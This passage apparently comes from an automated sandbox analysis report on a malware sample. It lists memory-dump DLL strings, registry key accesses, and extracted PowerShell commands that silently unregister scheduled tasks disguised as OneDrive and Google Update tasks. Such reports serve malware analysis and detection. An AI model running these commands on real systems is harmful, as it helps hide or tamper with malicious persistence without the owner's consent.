00000000-00003440.00000001.73903.00030000.00000002.mdmp 00000000-00003440.00000002.75822.00030000.00000002.mdmp] Observed system executable string:"C:\Windows\system32\comctl32.dll" [Source: 00000000-00003440.00000000.71982.00030000.00000002.mdmp 00000000-00003440.00000001.73903.00030000.00000002.mdmp 00000000-00003440.00000002.75822.00030000.00000002.mdmp] Observed system executable string:"C:\Windows\system32\sxsoaps.dll" [Source: 00000000-00003440.00000000.71982.00030000.00000002.mdmp 00000000-00003440.00000001.73903.00030000.00000002.mdmp 00000000-00003440.00000002.75822.00030000.00000002.mdmp] Observed system executable string:"C:\Windows\system32\comctl32.dll.mui" [Source: 00000000-00003440.00000000.71982.00030000.00000002.mdmp 00000000-00003440.00000001.73903.00030000.00000002.mdmp 00000000-00003440.00000002.75822.00030000.00000002.mdmp] Observed system executable string:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" [Source: 00000000-00003440.00000000.71982.00060000.00000004.mdmp 00000000-00003440.00000000.71982.00470000.00000002.mdmp 00000000-00003440.00000000.71982.01C60000.00000004.mdmp 00000000-00003440.00000001.73903.00060000.00000004.mdmp 00000000-00003440.00000001.73903.00470000.00000002.mdmp 00000000-00003440.00000002.75822.00060000.00000004.mdmp 00000000-00003440.00000002.75822.00470000.00000002.mdmp] Observed system executable string:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll.101.Config" [Source: 00000000-00003440.00000000.71982.00060000.00000004.mdmp 00000000-00003440.00000001.73903.00060000.00000004.mdmp 00000000-00003440.00000002.75822.00060000.00000004.mdmp] Observed system executable string:":\Windows\SYSTEM32\ntdll.dll" [Source: 00000000-00003440.00000000.71982.001B0000.00000004.mdmp 00000000-00003440.00000001.73903.001B0000.00000004.mdmp 00000000-00003440.00000002.75822.001B0000.00000004.mdmp] Observed system executable string:":\Windows\system32\KERNEL32.dll" [Source: 00000000-00003440.00000000.71982.001B0000.00000004.mdmp 00000000-00003440.00000001.73903.001B0000.00000004.mdmp 00000000-00003440.00000002.75822.001B0000.00000004.mdmp] Observed system executable string:":\Windows\system32\KERNELBASE.dll" [Source: 00000000-00003440.00000000.71982.001B0000.00000004.mdmp 00000000-00003440.00000001.73903.001B0000.00000004.mdmp 00000000-00003440.00000002.75822.001B0000.00000004.mdmp] Observed system executable string:":\Windows\SYSTEM32\MSCOREE.DLL" [Source: 00000000-00003440.00000000.71982.001B0000.00000004.mdmp 00000000-00003440.00000001.73903.001B0000.00000004.mdmp 00000000-00003440.00000002.75822.001B0000.00000004.mdmp] Observed system executable string:":\Windows\system32\RPCRT4.dll" [Source: 00000000-00003440.00000000.71982.001B0000.00000004.mdmp 00000000-00003440.00000001.73903.001B0000.00000004.mdmp 00000000-00003440.00000002.75822.001B0000.00000004.mdmp] Observed system executable string:":\Windows\system32\ADVAPI32.dll" [Source: 00000000-00003440.00000000.71982.001B0000.00000004.mdmp 00000000-00003440.00000001.73903.001B0000.00000004.mdmp 00000000-00003440.00000002.75822.001B0000.00000004.mdmp] Observed system executable string:":\Windows\system32\msvcrt.dll" [Source: 00000000-00003440.00000000.71982.001B0000.00000004.mdmp 00000000-00003440.00000001.73903.001B0000.00000004.mdmp 00000000-00003440.00000002.75822.001B0000.00000004.mdmp] Observed system executable string:":\Windows\SYSTEM32\sechost.dll" [Source: 00000000-00003440.00000000.71982.001B0000.00000004.mdmp 00000000-00003440.00000001.73903.001B0000.00000004.mdmp 00000000-00003440.00000002.75822.001B0000.00000004.mdmp] Observed system executable string:":\Windows\system32\USER32.dll" [Source: 00000000-00003440.00000000.71982.001B0000.00000004.mdmp 00000000-00003440.00000001.73903.001B0000.00000004.mdmp 00000000-00003440.00000002.75822.001B0000.00000004.mdmp] Observed system executable string:":\Windows\Temp\VxOle32.dll" [Source: 00000000-00003440.00000000.71982.001B0000.00000004.mdmp 00000000-00003440.00000001.73903.001B0000.00000004.mdmp 00000000-00003440.00000002.75822.001B0000.00000004.mdmp] Observed system executable string:":\Windows\system32\GDI32.dll" [Source: 00000000-00003440.00000000.71982.001B0000.00000004.mdmp 00000000-00003440.00000001.73903.001B0000.00000004.mdmp 00000000-00003440.00000002.75822.001B0000.00000004.mdmp] Observed system executable string:":\Windows\system32\LPK.dll" [Source: 00000000-00003440.00000000.71982.001B0000.00000004.mdmp 00000000-00003440.00000001.73903.001B0000.00000004.mdmp 00000000-00003440.00000002.75822.001B0000.00000004.mdmp] Observed system executable string:":\Windows\system32\USP10.dll" [Source: 00000000-00003440.00000000.71982.001B0000.00000004.mdmp 00000000-00003440.00000001.73903.001B0000.00000004.mdmp 00000000-00003440.00000002.75822.001B0000.00000004.mdmp] Observed system executable string:":\Windows\system32\ole32.dll" [Source: 00000000-00003440.00000000.71982.001B0000.00000004.mdmp 00000000-00003440.00000001.73903.001B0000.00000004.mdmp 00000000-00003440.00000002.75822.001B0000.00000004.mdmp] Observed system executable string:":\Windows\system32\OLEAUT32.dll" [Source: 00000000-00003440.00000000.71982.001B0000.00000004.mdmp 00000000-00003440.00000001.73903.001B0000.00000004.mdmp 00000000-00003440.00000002.75822.001B0000.00000004.mdmp] Observed system executable string:":\Windows\system32\IMM32.DLL" [Source: 00000000-00003440.00000000.71982.001B0000.00000004.mdmp 00000000-00003440.00000001.73903.001B0000.00000004.mdmp 00000000-00003440.00000002.75822.001B0000.00000004.mdmp]41:T14ac,Found string "/k start /b powershell Unregister-ScheduledTask -TaskName "Onedrive" -Confirm:$false & exit" (Indicator: "Register-ScheduledTask"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "/k start /b powershell Unregister-ScheduledTask -TaskName "Onedrive" -Confirm:$false & exit" (Indicator: "Unregister-ScheduledTask"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "/k start /b powershell Unregister-ScheduledTask -TaskName "OneDrive Standalone Update Task-S-1-5-21-6666668628-324293029-2081181062-1001" -Confirm:$false & exit" (Indicator: "Register-ScheduledTask"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "/k start /b powershell Unregister-ScheduledTask -TaskName "OneDrive Standalone Update Task-S-1-5-21-6666668628-324293029-2081181062-1001" -Confirm:$false & exit" (Indicator: "Unregister-ScheduledTask"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "/k start /b powershell Unregister-ScheduledTask -TaskName \"Onedrive\" -Confirm:$false & exit" (Indicator: "Register-ScheduledTask"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "/k start /b powershell Unregister-ScheduledTask -TaskName \"Onedrive\" -Confirm:$false & exit" (Indicator: "Unregister-ScheduledTask"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "/k start /b powershell Unregister-ScheduledTask -TaskName \"GoogleUpdateTaskUserS-1-5-21-3349668628-324293029-2081181062-1001Core\" -Confirm:$false & exit" (Indicator: "Register-ScheduledTask"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "/k start /b powershell Unregister-ScheduledTask -TaskName \"GoogleUpdateTaskUserS-1-5-21-3349668628-324293029-2081181062-1001Core\" -Confirm:$false & exit" (Indicator: "Unregister-ScheduledTask"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "/k start /b powershell Unregister-ScheduledTask -TaskName \"OneDrive Standalone Update Task-S-1-5-21-6666668628-324293029-2081181062-1001\" -Confirm:$false & exit" (Indicator: "Register-ScheduledTask"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "/k start /b powershell Unregister-ScheduledTask -TaskName \"OneDrive Standalone Update Task-S-1-5-21-6666668628-324293029-2081181062-1001\" -Confirm:$false & exit" (Indicator: "Unregister-ScheduledTask"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "powershell Unregister-ScheduledTask -TaskName "Onedrive" -Confirm:$false & exit" (Indicator: "Register-ScheduledTask"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "powershell Unregister-ScheduledTask -TaskName "Onedrive" -Confirm:$false & exit" (Indicator: "Unregister-ScheduledTask"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "k start /b powershell Unregister-ScheduledTask -TaskName "Onedrive" -Confirm:$false & exit" (Indicator: "Register-ScheduledTask"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "k start /b powershell Unregister-ScheduledTask -TaskName "Onedrive" -Confirm:$false & exit" (Indicator: "Unregister-ScheduledTask"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "k start /b powershell Unregister-ScheduledTask -TaskName "GoogleUpdateTaskUserS-1-5-21-3349668628-324293029-2081181062-1001Core" -Confirm:$false & exit" (Indicator: "Register-ScheduledTask"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "k start /b powershell Unregister-ScheduledTask -TaskName "GoogleUpdateTaskUserS-1-5-21-3349668628-324293029-2081181062-1001Core" -Confirm:$false & exit" (Indicator: "Unregister-ScheduledTask"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "k start /b powershell Unregister-ScheduledTask -TaskName "OneDrive Standalone Update Task-S-1-5-21-6666668628-324293029-2081181062-1001" -Confirm:$false & exit" (Indicator: "Register-ScheduledTask"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "k start /b powershell Unregister-ScheduledTask -TaskName "OneDrive Standalone Update Task-S-1-5-21-6666668628-324293029-2081181062-1001" -Confirm:$false & exit" (Indicator: "Unregister-ScheduledTask"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp")42:T346a,".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\SETUP"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS NT\RPC"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SQMCLIENT\WINDOWS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\DIAGNOSTICS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK\POLICY\"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK\POLICY\V4.0"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\.NETFRAMEWORK"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK\POLICY\STANDARDS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK\POLICY\STANDARDS\V4.0.30319"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK\V4.0.30319\SKUS\"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK\V4.0.30319\SKUS\DEFAULT"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\NET FRAMEWORK SETUP\NDP\V4\FULL"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IME COMPATIBILITY"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\D79A203CABA18B6E1190B0022296D56F96253D4FB39B96AAAEAAA02241F28B16.EXE"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\FUSION"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK\NGEN\POLICY\V4.0"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK\POLICY\SERVICING"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\STRONGNAME"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.4.0.SYSTEM.WINDOWS.FORMS__B77A5C561934E089"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.4.0.SYSTEM.WINDOWS.FORMS__B77A5C561934E089"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.4.0.SYSTEM.SECURITY__B03F5F7F11D50A3A"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.4.0.SYSTEM.SECURITY__B03F5F7F11D50A3A"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.4.0.SYSTEM.XML__B77A5C561934E089"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.4.0.SYSTEM.XML__B77A5C561934E089"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.4.0.SYSTEM__B77A5C561934E089"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.4.0.SYSTEM__B77A5C561934E089"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.4.0.SYSTEM.CONFIGURATION__B03F5F7F11D50A3A"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.4.0.SYSTEM.CONFIGURATION__B03F5F7F11D50A3A"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.4.0.SYSTEM.DRAWING__B03F5F7F11D50A3A"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.4.0.SYSTEM.DRAWING__B03F5F7F11D50A3A"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.4.0.ACCESSIBILITY__B03F5F7F11D50A3A"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.4.0.ACCESSIBILITY__B03F5F7F11D50A3A"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.4.0.SYSTEM.CORE__B77A5C561934E089"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.4.0.SYSTEM.CORE__B77A5C561934E089"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.4.0.SYSTEM.DEPLOYMENT__B03F5F7F11D50A3A"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.4.0.SYSTEM.DEPLOYMENT__B03F5F7F11D50A3A"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.4.0.SYSTEM.RUNTIME.SERIALIZATION.FORMATTERS.SOAP__B03F5F7F11D50A3A"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.4.0.SYSTEM.RUNTIME.SERIALIZATION.FORMATTERS.SOAP__B03F5F7F11D50A3A"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK\POLICY\APTCA"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE\ALTERNATE SORTS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK\APPCONTEXT"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\PROPERTYBAG"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SESSIONINFO\1"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SESSIONINFO\1\KNOWNFOLDERS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\USER SHELL FOLDERS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\KNOWNFOLDERSETTINGS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PROFILELIST\S-1-5-21-2092356043-4041700817-663127204-1001"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\EXPLORER"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\EXPLORER"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{5E6C858F-0E22-4760-9AFE-EA3317B67173}"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\PROPERTYBAG"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PROFILELIST"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER TYPES\TYPE 024"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT ENHANCED RSA AND AES CRYPTOGRAPHIC PROVIDER"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\POLICIES\MICROSOFT\CRYPTOGRAPHY\CONFIGURATION"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\CRYPTOGRAPHY"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OFFLOAD"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DESHASHSESSIONKEYBACKWARD"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\ERROR MESSAGE INSTRUMENT"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE\TRACING"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLEAUT"; Key: ""; Value: "")43:T4442,".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: "MAXRPCSIZE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "OOBEINPROGRESS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "SYSTEMSETUPINPROGRESS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SQMCLIENT\WINDOWS"; Key: "CEIPENABLE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "COMPATDLL"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "00060101.00060101"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK"; Key: "INSTALLROOT"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: 